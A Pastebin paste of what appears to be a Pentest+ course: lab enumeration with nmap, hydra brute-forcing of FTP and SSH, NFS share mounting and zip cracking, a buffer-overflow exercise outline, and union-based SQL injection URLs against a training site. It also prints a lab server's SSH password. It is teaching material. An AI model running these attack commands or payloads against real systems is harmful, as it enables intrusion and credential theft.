Advertisement
joemccray

Pentest+ 2020

Jun 2nd, 2020 (edited)
2,946
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 59.26 KB | None | 0 0
  1. - Here is a good set of slides for getting started with Linux:
  2. http://www.slideshare.net/olafusimichael/linux-training-24086319
  3.  
  4.  
  5. - Here is a good tutorial that you should complete before doing the labs below:
  6. http://linuxsurvival.com/linux-tutorial-introduction/
  7.  
  8.  
  9. - I prefer to use Putty to SSH into my Linux host.
  10. - You can download Putty from here:
  11. - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
  12.  
  13. Log in to this server to perform these labs:
  14.  
  15. Server: 149.28.201.171
  16. Protocol: ssh
  17. Port: 22
  18. user: pentestplus
  19. pass: P@s$w0rd12!@
  20.  
  21.  
  22.  
  23.  
  24. The goal of this lab is to teach the basics of enumerating:
  25. - FTP
  26. - SSH
  27. - RPC/NFS
  28.  
  29.  
  30.  
  31.  
  32.  
  33. #############################
  34. # Kevgir: Basic Enumeration #
  35. #############################
  36.  
  37.  
  38. ---------------------------Type This-----------------------------------
  39. cd ~/students/
  40. mkdir yourname
  41. cd yourname
  42. sudo nmap -sS 172.31.2.10
  43. -----------------------------------------------------------------------
  44. The output should look like this:
  45.  
  46. 25/tcp open smtp
  47. 80/tcp open http
  48. 111/tcp open rpcbind
  49. 139/tcp open netbios-ssn
  50. 445/tcp open microsoft-ds
  51. 1322/tcp open novation
  52. 2049/tcp open nfs
  53. 8080/tcp open http-proxy
  54. 8081/tcp open blackice-icecap
  55. 9000/tcp open cslistener
  56.  
  57.  
  58.  
  59.  
  60. ---------------------------Type This-----------------------------------
  61. sudo nmap -sV 172.31.2.10
  62. -----------------------------------------------------------------------
  63. The output should look like this:
  64.  
  65.  
  66. 25/tcp open ftp vsftpd 3.0.2
  67. 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
  68. 111/tcp open rpcbind 2-4 (RPC #100000)
  69. 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
  70. 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
  71. 1322/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
  72. 2049/tcp open nfs_acl 2-3 (RPC #100227)
  73. 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
  74. 8081/tcp open http Apache httpd 2.4.7 ((Ubuntu))
  75. 9000/tcp open http Jetty winstone-2.9
  76. Service Info: Host: CANYOUPWNME; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
  77.  
  78.  
  79.  
  80.  
  81. Now, let's look at this one port at a time.
  82.  
  83. Port 25 - normally port 25 is SMTP, but in this case port 25 is FTP which is normally 21. Let's verify this:
  84. ---------------------------Type This-----------------------------------
  85. amap -A 172.31.2.10 25
  86. -----------------------------------------------------------------------
  87. The output should look like this:
  88.  
  89.  
  90. Protocol on 172.31.2.10:25/tcp matches ftp
  91.  
  92.  
  93.  
  94.  
  95.  
  96. Yup, it's running FTP for sure. So how do we attack an FTP server?
  97.  
  98. Here is a good reference (yes Chris read this whole thing):
  99. https://shahmeeramir.com/penetration-testing-of-an-ftp-server-19afe538be4b
  100.  
  101.  
  102. Basically it's bannergrab it to see if it's vulnerable, check for anonymous FTP, then brute force it.
  103.  
  104. I like the NSE syntax from https://github.com/leebaird/discover/blob/master/nse.sh line 18
  105.  
  106. ---------------------------Type This-----------------------------------
  107.  
  108. sudo nmap -sV -Pn -p25 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 172.31.2.10
  109.  
  110.  
  111.  
  112.  
  113. echo hello > ~/students/yourname/list.txt
  114. echo goodbye >> ~/students/yourname/list.txt
  115. echo admin >> ~/students/yourname/list.txt
  116. echo root >> ~/students/yourname/list.txt
  117.  
  118.  
  119.  
  120.  
  121. hydra -l admin -P ~/students/yourname/list.txt -u -s 25 172.31.2.10 ftp
  122.  
  123.  
  124.  
  125.  
  126. ftp
  127. open 172.31.2.10 25
  128. admin
  129. admin
  130. pwd
  131. ls -lah
  132.  
  133. ls ../../
  134. -----------------------------------------------------------------------
  135.  
  136.  
  137.  
  138. Ok, so now we have a valid username/password of admin/admin. Let's keep that in our back pocket as it might work on some other services.
  139.  
  140. Looks like SSH is running on port 1322 instead of its normal port 22. Let's verify that.
  141. ---------------------------Type This-----------------------------------
  142. amap -A 172.31.2.10 1322
  143. -----------------------------------------------------------------------
  144. The output should look like this:
  145.  
  146.  
  147. Protocol on 172.31.2.10:1322/tcp matches ssh
  148. Protocol on 172.31.2.10:1322/tcp matches ssh-openssh
  149.  
  150.  
  151.  
  152.  
  153. Yup, it's running SSH on the wrong port. Here is a good reference on how to attack SSH: https://www.hackingarticles.in/ssh-penetration-testing-port-22/
  154.  
  155.  
  156. Basically it's bannergrab it to see if it's vulnerable, check for SSH downgrade attacks, check for weak ciphers, then brute force it.
  157.  
  158. I like the NSE syntax from https://github.com/leebaird/discover/blob/master/nse.sh line 25
  159.  
  160. ---------------------------Type This-----------------------------------
  161. sudo nmap -sV -Pn -p1322 --script=sshv1,ssh2-enum-algos 172.31.2.10
  162.  
  163. hydra -l admin -P ~/students/yourname/list.txt -u -s 1322 172.31.2.10 ssh
  164.  
  165. ssh -p 1322 admin@172.31.2.10
  166.  
  167. -----------------------------------------------------------------------
  168.  
  169.  
  170.  
  171.  
  172. #################
  173. # Attacking NFS #
  174. #################
  175.  
  176. Ok, so it's running SunRPC on the correct port 111.
  177. Here are some good references on how to attack NFS (yes Chris - read both of these links):
  178. https://recipeforroot.com/attacking-nfs-shares/
  179. https://pentestlab.blog/2013/01/20/nfs-misconfiguration/
  180.  
  181.  
  182. Basically it's just a network share - see if you can connect to it (in Linux - you'll say "mount it" instead of connect to it) and see what's on it.
  183.  
  184. I like the NSE syntax from https://github.com/leebaird/discover/blob/master/nse.sh line 95
  185. ---------------------------Type This-----------------------------------
  186.  
  187.  
  188. sudo nmap -sV -Pn -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 172.31.2.10
  189.  
  190. sudo apt install -y rpcbind nfs-common
  191.  
  192. rpcinfo -s 172.31.2.10
  193.  
  194. showmount -e 172.31.2.10
  195.  
  196. sudo /bin/bash
  197.  
  198. mkdir /tmp/nfs
  199.  
  200. mount -t nfs 172.31.2.10:/backup /tmp/nfs -o nolock
  201.  
  202. ls /tmp/nfs
  203.  
  204. cp /tmp/nfs/backup.tar.bz2.zip /home/chrisb
  205.  
  206. umount -l /tmp/nfs
  207.  
  208. exit
  209.  
  210.  
  211. fcrackzip -u backup.tar.bz2.zip
  212.  
  213. unzip -P aaaaaa backup.tar.bz2.zip
  214.  
  215. tar jxf backup.tar.bz2
  216.  
  217. -----------------------------------------------------------------------
  218.  
  219.  
  220.  
  221.  
  222.  
  223.  
  224. ########################
  225. # Attacking WebServers #
  226. ########################
  227. OK, there are multiple ports running webservers. Let's check it out:
  228. ---------------------------Type This-----------------------------------
  229.  
  230. cd ~/students/yourname
  231.  
  232. amap -A 172.31.2.10 80
  233.  
  234. amap -A 172.31.2.10 8080
  235.  
  236. amap -A 172.31.2.10 8081
  237.  
  238. amap -A 172.31.2.10 9000
  239.  
  240. -----------------------------------------------------------------------
  241.  
  242.  
  243. ###############
  244. # Using Nikto #
  245. ###############
  246.  
  247. ---------------------------Type This-----------------------------------
  248.  
  249. cd ~/students/yourname
  250.  
  251. nikto -h 172.31.2.10
  252.  
  253. nikto -h 172.31.2.10:8080
  254.  
  255. nikto -h 172.31.2.10:8081
  256.  
  257. nikto -h 172.31.2.10:9000
  258.  
  259. -----------------------------------------------------------------------
  260.  
  261. ##############
  262. # Using dirb #
  263. ##############
  264.  
  265. ---------------------------Type This-----------------------------------
  266. cd ~/students/yourname/
  267.  
  268. git clone https://github.com/v0re/dirb.git
  269.  
  270. cd dirb/
  271.  
  272. ./configure
  273.  
  274. make
  275.  
  276. ./dirb
  277.  
  278. cd ~/students/yourname/dirb
  279.  
  280. ./dirb http://172.31.2.10 wordlists/common.txt
  281.  
  282. ./dirb http://172.31.2.10:8080 wordlists/common.txt
  283.  
  284. ./dirb http://172.31.2.10:8081 wordlists/common.txt
  285.  
  286. ./dirb http://172.31.2.10:9000 wordlists/common.txt
  287.  
  288. -----------------------------------------------------------------------
  289.  
  290.  
  291. ##############
  292. # Enum4Linux #
  293. ##############
  294.  
  295. ---------------------------Type This-----------------------------------
  296. cd ~/students/yourname/
  297. git clone https://github.com/portcullislabs/enum4linux.git
  298. cd enum4linux/
  299. propecia 172.31.2 445
  300. perl enum4linux.pl -a 172.31.2.13
  301. ------------------------------------------------------------------------
  302.  
  303.  
  304.  
  305. ######################
  306. ################# How do I do CTF's? ######################
  307. ######################
  308.  
  309. The purpose of today's class is to help students learn how to address the common issues in Hacking Challenge Labs/Exams and Capture The Flag competitions. There are a few reasons that students perform poorly in these events/exams.
  310.  
  311.  
  312. Issue 1. Lack of a thorough attack process
  313. ==========================================
  314. - Host discovery
  315. - Service discovery
  316. - Service version discovery
  317. - Vulnerability research
  318. - Linux (port 111)/Window (port 445) Enumeration
  319. - Webserver vulnerability scan
  320. - Directory brute force every webserver
  321. - Analyze source code of every web app (look for IPs, usernames/passwords, explanations of how stuff works)
  322. - Brute force all services
  323.  
  324.  
  325. Issue 2. Lack of automation of the process
  326. ==========================================
  327. - Research attacks scripts on the internet to enhance your methodology
  328.  
  329.  
  330. Issue 3. Failing to document all steps being performed and their output
  331. =======================================================================
  332.  
  333.  
  334. Issue 4. Lack of sleep during the exam
  335. ======================================
  336.  
  337.  
  338. Issue 5. Failing to reboot target machines prior to attack
  339. ==========================================================
  340.  
  341.  
  342.  
  343. --------------------------------------------------------------------------------------------------------------
  344.  
  345.  
  346. A good strategy to use to prepare would be:
  347.  
  348. Step 1. Ensure that you are comfortable with Linux
  349. --------------------------------------------------
  350. - LinuxSurvival.com (you should be able to comfortably pass all 4 quizzes)
  351. - Comptia Linux+ (You should be just a hair under a Linux system administrator in skill level, simple shell scripting, and well beyond a Linux user skill level)
  352.  
  353. You should be very comfortable with the material covered in the videos below (Go through all of them twice if you are new to Linux):
  354. https://www.youtube.com/playlist?list=PLCDA423AB5CEC8FDB
  355. https://www.youtube.com/playlist?list=PLtK75qxsQaMLZSo7KL-PmiRarU7hrpnwK
  356. https://www.youtube.com/playlist?list=PLcUid3OP_4OXOUqYTDGjq-iEwtBf-3l2E
  357.  
  358.  
  359.  
  360. 2. You should be comfortable with the following tools:
  361. ------------------------------------------------------
  362.  
  363. Nmap:
  364. https://www.youtube.com/playlist?list=PL6gx4Cwl9DGBsINfLVidNVaZ-7_v1NJIo
  365.  
  366. Metasploit:
  367. https://www.youtube.com/playlist?list=PL6gx4Cwl9DGBmwvjJoWhM4Lg5MceSbsja
  368.  
  369. Burp Suite:
  370. https://www.youtube.com/playlist?list=PLv95pq8fEyuivHeZB2jeC435tU3_1YGzV
  371.  
  372. Sqlmap:
  373. https://www.youtube.com/playlist?list=PLA3E1E7A07FD60C75
  374.  
  375. Nikto:
  376. https://www.youtube.com/watch?v=GH9qn_DBzCk
  377.  
  378. Enum4Linux:
  379. https://www.youtube.com/watch?v=hA5raaGOQKQ
  380.  
  381. RPCINFO/SHOWMOUNT:
  382. https://www.youtube.com/watch?v=FlRAA-1UXWQ
  383.  
  384. Hydra:
  385. https://www.youtube.com/watch?v=rLtj8tEmGso
  386.  
  387.  
  388.  
  389. 3. You need to comfortable with basic exploit development
  390. ---------------------------------------------------------
  391.  
  392. Basic assembly:
  393. https://www.youtube.com/playlist?list=PLue5IPmkmZ-P1pDbF3vSQtuNquX0SZHpB
  394.  
  395. Basic exploit development (first 5 videos in the playlist):
  396. https://www.youtube.com/playlist?list=PLWpmLW-3AVsjcz_VJFvofmIFVTk7T-Ukl
  397.  
  398.  
  399. 4. You need to be comfortable with privilege escalation
  400. -------------------------------------------------------
  401. Linux
  402. https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
  403.  
  404. Windows
  405. https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
  406. http://www.fuzzysecurity.com/tutorials/16.html
  407.  
  408.  
  409.  
  410.  
  411.  
  412.  
  413.  
  414.  
  415. ####################################################
  416. ----------- ############### # Day 3: Playing with Python3 and writing exploits # ############## -----------
  417. ####################################################
  418.  
  419.  
  420. I often get asked how I did it. How did I learn Python without having been a computer science major, without having gone to college, and for that matter not actually learning to program until I had been in the field for 8 years. Here is what I did.
  421.  
  422.  
  423. Step 1: Watch and do the newboston Python video series twice
  424. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
  425.  
  426.  
  427. Step 2: Watch and do the Google Python workshop twice
  428. https://www.youtube.com/playlist?list=PLfZeRfzhgQzTMgwFVezQbnpc1ck0I6CQl
  429.  
  430.  
  431. Step 3: Download all of the Python tools from PacketStorm and analyze the source code
  432. https://packetstormsecurity.com/files/tags/python
  433.  
  434.  
  435. Here is the code from Packet Storm
  436. https://infosecaddicts-files.s3.amazonaws.com/PythonReferenceCode.zip
  437.  
  438. I went through almost every single file and looked up the code that I didn't understand.
  439. I also asked programmers to help me understand the lines of code that didn't make sense.
  440. In the folder RAC-Brute I actually had to hire a developer from an outsourcing website to comment,
  441. and explain the tool to me.
  442.  
  443. Here is what I got out of doing that:
  444. https://infosecaddicts-files.s3.amazonaws.com/Python/sorted-commented-python-files.zip
  445.  
  446.  
  447.  
  448. Distilled that into this:
  449. https://infosecaddicts-files.s3.amazonaws.com/Python-Courseware.zip
  450.  
  451.  
  452. ####################################
  453. # Python Lesson 1: Simple Printing #
  454. ####################################
  455.  
  456. ---------------------------Type This-----------------------------------
  457. $ python3
  458.  
  459. >>> print ("Today we are learning Python.")
  460.  
  461. >>> exit()
  462. -----------------------------------------------------------------------
  463.  
  464.  
  465.  
  466.  
  467. ############################################
  468. # Python Lesson 2: Simple Numbers and Math #
  469. ############################################
  470.  
  471. ---------------------------Type This-----------------------------------
  472. $ python3
  473.  
  474. >>> 2+2
  475.  
  476. >>> 6-3
  477.  
  478. >>> 18/7
  479.  
  480. >>> 18.0/7
  481.  
  482. >>> 18.0/7.0
  483.  
  484. >>> 18/7
  485.  
  486. >>> 9%4
  487. 1
  488. >>> 8%4
  489. 0
  490. >>> 8.75%.5
  491.  
  492. >>> 6.*7
  493.  
  494. >>> 7*7*7
  495.  
  496. >>> 7**3
  497.  
  498. >>> 5**12
  499.  
  500. >>> -5**4
  501.  
  502. >>> exit()
  503.  
  504. -----------------------------------------------------------------------
  505.  
  506.  
  507.  
  508. ##############################
  509. # Python Lesson 3: Variables #
  510. ##############################
  511.  
  512. ---------------------------Type This-----------------------------------
  513. $ python3
  514.  
  515. >>> x=18
  516.  
  517. >>> x+15
  518.  
  519. >>> x**3
  520.  
  521. >>> y=54
  522.  
  523. >>> g=int(input("Enter number here: "))
  524. Enter number here: 43
  525. >>> g
  526.  
  527. >>> g+32
  528.  
  529. >>> g**3
  530.  
  531. >>> exit()
  532.  
  533. -----------------------------------------------------------------------
  534.  
  535.  
  536.  
  537.  
  538.  
  539. ##########################################
  540. # Python Lesson 4: Modules and Functions #
  541. ##########################################
  542.  
  543. ---------------------------Type This-----------------------------------
  544. $ python3
  545.  
  546. >>> 5**4
  547.  
  548. >>> pow(5,4)
  549.  
  550. >>> abs(-18)
  551.  
  552. >>> abs(5)
  553.  
  554. >>> floor(18.7)
  555.  
  556. >>> import math
  557.  
  558. >>> math.floor(18.7)
  559.  
  560. >>> math.ceil(18.7)
  561.  
  562. >>> math.sqrt(81)
  563.  
  564. >>> joe = math.sqrt
  565.  
  566. >>> joe(9)
  567.  
  568. >>> joe=math.floor
  569.  
  570. >>> joe(19.8)
  571.  
  572. >>> exit()
  573.  
  574. -----------------------------------------------------------------------
  575.  
  576.  
  577.  
  578. ############################
  579. # Python Lesson 5: Strings #
  580. ############################
  581.  
  582. ---------------------------Type This-----------------------------------
  583. $ python3
  584.  
  585. >>> "XSS"
  586.  
  587. >>> 'SQLi'
  588.  
  589. >>> "Joe's a python lover"
  590.  
  591. >>> "Joe said \"InfoSec is fun\" to me"
  592.  
  593. >>> a = "Joe"
  594.  
  595. >>> b = "McCray"
  596.  
  597. >>> a, b
  598.  
  599. >>> a+b
  600.  
  601. >>> exit()
  602. -----------------------------------------------------------------------
  603.  
  604.  
  605.  
  606.  
  607.  
  608. #################################
  609. # Python Lesson 6: More Strings #
  610. #################################
  611.  
  612. ---------------------------Type This-----------------------------------
  613. $ python3
  614.  
  615. >>> num = 10
  616.  
  617. >>> num + 2
  618.  
  619. >>> "The number of open ports found on this system is ", num
  620.  
  621. >>> num = str(18)
  622.  
  623. >>> "There are ", num, " vulnerabilities found in this environment."
  624.  
  625. >>> num2 = 46
  626.  
  627. >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is ", + num2
  628.  
  629. >>> exit()
  630. -----------------------------------------------------------------------
  631.  
  632.  
  633.  
  634.  
  635.  
  636. ########################################
  637. # Python Lesson 7: Sequences and Lists #
  638. ########################################
  639.  
  640. ---------------------------Type This-----------------------------------
  641. $ python3
  642.  
  643. >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
  644.  
  645. >>> attacks
  646. ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
  647.  
  648. >>> attacks[3]
  649. 'SQL Injection'
  650.  
  651. >>> attacks[-2]
  652. 'Cross-Site Scripting'
  653.  
  654. >>> exit()
  655.  
  656. #####################################
  657. # Quick Stack Based Buffer Overflow #
  658. #####################################
  659.  
  660. - You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
  661. http://45.63.104.73/ExploitLab.zip
  662. http://45.63.104.73/nc-password-is-netcat.zip <--- save this file to your c:\windows\system32 directory
  663.  
  664.  
  665.  
  666. - Extract the ExploitLab.zip file to your Desktop
  667.  
  668. - Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
  669.  
  670. - Open a new command prompt and type:
  671.  
  672. ---------------------------Type This-----------------------------------
  673. nc localhost 9999
  674. --------------------------------------------------------------------------
  675.  
  676. - In the new command prompt window where you ran nc type:
  677. HELP
  678.  
  679. - Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
  680. - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
  681.  
  682. - Now double-click on 1-simplefuzzer.py
  683. - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
  684.  
  685.  
  686. - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
  687.  
  688. - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
  689.  
  690. - Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
  691.  
  692. - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
  693.  
  694. - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
  695.  
  696. - Calculate the distance to EIP by running script 3-3000chars.py
  697. - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
  698.  
  699. 4-count-chars-to-EIP.py
  700. - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
  701. - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
  702.  
  703. 5-2006char-eip-check.py
  704. - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
  705.  
  706. 6-jmp-esp.py
  707. - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
  708.  
  709. 7-first-exploit
  710. - In this script we actually do the stack overflow and launch a bind shell on port 4444
  711.  
  712. 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
  713.  
  714.  
  715. ------------------------------
  716.  
  717.  
  718. Skill Level 1. Run the scanners
  719. -------------------------------
  720. Nexpose
  721. Qualys
  722. Retina
  723. Nessus known vulnerabilities
  724. OpenVas
  725. Foundscan
  726. GFI LanGuard
  727. NCircle
  728.  
  729.  
  730. Skill Level 2. Manual vulnerability validation (known vulnerabilities)
  731. -----------------------------------------------------------------------
  732.  
  733. windows -> systeminfo
  734. Linux-> dpkg -l (Debian/Ubuntu/Mint)
  735. rpm -qa (RHEL/Fedora/Centos)
  736.  
  737. Mac OS X-> sudo find / -iname *.app
  738.  
  739.  
  740.  
  741. Skill Level 3. Identify unknown vulnerabilities
  742. -----------------------------------------------
  743.  
  744. - App Type
  745. ------------
  746. Stand Alone Client Server Web App
  747.  
  748. ***(vulnerserver.exe)***
  749.  
  750.  
  751. - Input TYpe
  752. -------------
  753. FIle logical network port Browser
  754. Keyboard
  755. Mouse
  756.  
  757.  
  758.  
  759. ***(9999)***
  760.  
  761.  
  762. - Map & Fuzz app entry points:
  763. ------------------------------
  764. - Commands ***(commands)***
  765. - Methods
  766. - Verbs
  767. - functions
  768. - subroutines
  769. - controllers
  770.  
  771.  
  772. - Isolate the crash
  773. -------------------
  774. App seems to reliably crash at TRUN 2100
  775.  
  776.  
  777. - Calculate the distance to EIP
  778. -------------------------------
  779. Distance to EIP is 2006
  780.  
  781. We found that EIP was populated with the value: 396F4338
  782. 396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern
  783.  
  784. An online tool that we can use for this is:
  785. https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
  786.  
  787.  
  788.  
  789. - Redirect Program Execution
  790. ----------------------------
  791. A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction.
  792. We learned that we control EAX and ESP in script 2.
  793.  
  794.  
  795.  
  796.  
  797.  
  798. - Implement Shellcode
  799. ---------------------
  800. There are only 2 things that can go wrong with shellcode:
  801. - Not enough space
  802. - Bad characters
  803.  
  804.  
  805.  
  806.  
  807.  
  808.  
  809. #########################################
  810. # FreeFloat FTP Server Exploit Analysis #
  811. #########################################
  812.  
  813.  
  814.  
  815. Analyze the following exploit code:
  816. https://www.exploit-db.com/exploits/15689/
  817.  
  818. 1. What is the target platform that this exploit works against?
  819. 2. What is the variable name for the distance to EIP?
  820. 3. What is the actual distance to EIP in bytes?
  821. 4. Describe what is happening in the variable ‘junk2’
  822.  
  823.  
  824.  
  825.  
  826. Analysis of the training walk-through based on EID: 15689:
  827. http://45.63.104.73/ff.zip
  828.  
  829.  
  830.  
  831.  
  832. ff1.py
  833. 1. What does the sys module do?
  834. 2. What is sys.argv[1] and sys.argv[2]?
  835. 3. What application entry point is being attacked in this script?
  836.  
  837.  
  838.  
  839. ff2.py
  840. 1. Explain what is happening in lines 18 - 20 doing.
  841. 2. What is pattern_create.rb doing and where can I find it?
  842. 3. Why can’t I just double click the file to run this script?
  843.  
  844.  
  845.  
  846. ff3.py
  847. 1. Explain what is happening in lines 17 - to 25?
  848. 2. Explain what is happening in lines 30 - to 32?
  849. 3. Why is everything below line 35 commented out?
  850.  
  851.  
  852.  
  853. ff4.py
  854. 1. Explain what is happening in lines 13 to 15.
  855. 2. Explain what is happening in line 19.
  856. 3. What is the total length of buff?
  857.  
  858.  
  859.  
  860. ff5.py
  861. 1. Explain what is happening in line 15.
  862. 2. What is struct.pack?
  863. 3. How big is the shellcode in this script?
  864.  
  865.  
  866.  
  867. ff6.py
  868. 1. What is the distance to EIP?
  869. 2. How big is the shellcode in this script?
  870. 3. What is the total byte length of the data being sent to this app?
  871.  
  872.  
  873.  
  874.  
  875. ff7.py
  876. 1. What is a tuple in python?
  877. 2. How big is the shellcode in this script?
  878. 3. Did your app crash in from this script?
  879.  
  880.  
  881.  
  882.  
  883. ff8.py
  884. 1. How big is the shellcode in this script?
  885. 2. What is try/except in python?
  886. 3. What is socket.SOCK_STREAM in Python?
  887.  
  888.  
  889.  
  890. ff9.py
  891. 1. What is going on in lines 19 and 20?
  892. 2. What is the length of the NOPs?
  893. 3. From what DLL did the address of the JMP ESP come from?
  894.  
  895.  
  896.  
  897.  
  898. ff010.py
  899. 1. What is going on in lines 18 - 20?
  900. 2. What is going on in lines 29 - 32?
  901. 3. How would a stack adjustment help this script?
  902.  
  903. #########################################
  904. # Offensive Cyber Operations Job Roles #
  905. # Offensive Cyber Level 1 #
  906. #########################################
  907. Required Technical Skills: Comfortable with basic Linux/Windows (MCSA/Linux+)
  908. Comfortable with basic network (Network+)
  909. Comfortable with security fundamentals (Security+)
  910.  
  911.  
  912.  
  913. Job Task: Run network security scanners and assist with documentation of known vulnerabilities
  914.  
  915.  
  916. Tools Used:
  917. Nmap
  918. Nexpose
  919. Qualys
  920. Retina
  921. Nessus known vulnerabilities
  922. OpenVas
  923. Foundscan
  924. GFI LanGuard
  925. NCircle
  926.  
  927.  
  928.  
  929. #########################################
  930. # Offensive Cyber Operations Job Roles #
  931. # Offensive Cyber Level 2 #
  932. #########################################
  933. Required Technical Skills: Comfortable with basic Linux/Windows system administration
  934. Comfortable with basic network administration
  935. Comfortable with basic programming
  936. Comfortable researching IT security issues
  937.  
  938.  
  939.  
  940. Job Task: Run network security scanners and assist with document of known vulnerabilities
  941. Perform manual vulnerability validation
  942. Analyze public exploit and develop threat analysis reports
  943. Assess simple applications for vulnerabilities
  944.  
  945.  
  946.  
  947. #########################################
  948. # Security Operations Center Job Roles #
  949. # Offensive Cyber Level 3 #
  950. #########################################
  951.  
  952. Required Technical Skills: Strong programming background (C, C++, Java, Assembly, scripting languages)
  953. Advanced system/network administration background
  954. Comfortable researching IT security issues
  955.  
  956.  
  957.  
  958.  
  959.  
  960. Job Task: Perform manual vulnerability validation
  961. Analyze public exploit and develop threat analysis reports
  962. Assess complex applications for vulnerabilities
  963.  
  964. ##########################
  965. ----------- ############### # Day 4: Web App Testing ############### -----------
  966. ##########################
  967.  
  968.  
  969.  
  970. ##################################
  971. # Basic: Web Application Testing #
  972. ##################################
  973.  
  974. Most people are going to tell you reference the OWASP Testing guide.
  975. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  976.  
  977. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  978.  
  979.  
  980. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  981.  
  982. 1. Does the website talk to a DB?
  983. - Look for parameter passing (ex: site.com/page.php?id=4)
  984. - If yes - try SQL Injection
  985.  
  986. 2. Can I or someone else see what I type?
  987. - If yes - try XSS
  988.  
  989. 3. Does the page reference a file?
  990. - If yes - try LFI/RFI
  991.  
  992. Let's start with some manual testing against 45.63.104.73
  993.  
  994.  
  995. #######################
  996. # Attacking PHP/MySQL #
  997. #######################
  998.  
  999. Go to LAMP Target homepage
  1000. https://phpapp.infosecaddicts.com/
  1001.  
  1002.  
  1003.  
  1004. Clicking on the Acer Link:
  1005. https://phpapp.infosecaddicts.com/acre2.php?lap=acer
  1006.  
  1007. - Found parameter passing (answer yes to question 1)
  1008. - Insert ' to test for SQLI
  1009.  
  1010. ---------------------------Type This-----------------------------------
  1011.  
  1012. https://phpapp.infosecaddicts.com/acre2.php?lap=acer'
  1013.  
  1014. -----------------------------------------------------------------------
  1015.  
  1016. Page returns the following error:
  1017. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
  1018.  
  1019.  
  1020.  
  1021. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  1022. We do this using the ORDER BY
  1023.  
  1024. ---------------------------Type This-----------------------------------
  1025.  
  1026. https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 100-- +
  1027. -----------------------------------------------------------------------
  1028.  
  1029. Page returns the following error:
  1030. Unknown column '100' in 'order clause'
  1031.  
  1032.  
  1033. ---------------------------Type This-----------------------------------
  1034.  
  1035. https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 50-- +
  1036. -----------------------------------------------------------------------
  1037.  
  1038. Page returns the following error:
  1039. Unknown column '50' in 'order clause'
  1040.  
  1041.  
  1042. ---------------------------Type This-----------------------------------
  1043.  
  1044. https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 25-- +
  1045. -----------------------------------------------------------------------
  1046.  
  1047. Page returns the following error:
  1048. Unknown column '25' in 'order clause'
  1049.  
  1050.  
  1051. ---------------------------Type This-----------------------------------
  1052.  
  1053. https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 12-- +
  1054. -----------------------------------------------------------------------
  1055.  
  1056. Page returns the following error:
  1057. Unknown column '12' in 'order clause'
  1058.  
  1059.  
  1060. ---------------------------Type This-----------------------------------
  1061.  
  1062. https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 6-- +
  1063. -----------------------------------------------------------------------
  1064.  
  1065. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  1066.  
  1067.  
  1068.  
  1069. Now we build out the union all select statement with the correct number of columns
  1070.  
  1071. Reference:
  1072. http://www.techonthenet.com/sql/union.php
  1073.  
  1074.  
  1075. ---------------------------Type This-----------------------------------
  1076.  
  1077. https://phpapp.infosecaddicts.com/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  1078. -----------------------------------------------------------------------
  1079.  
  1080.  
  1081.  
  1082. Now we negate the parameter value 'acer' by turning into the word 'null':
  1083. ---------------------------Type This-----------------------------------
  1084.  
  1085. https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  1086. -----------------------------------------------------------------------
  1087.  
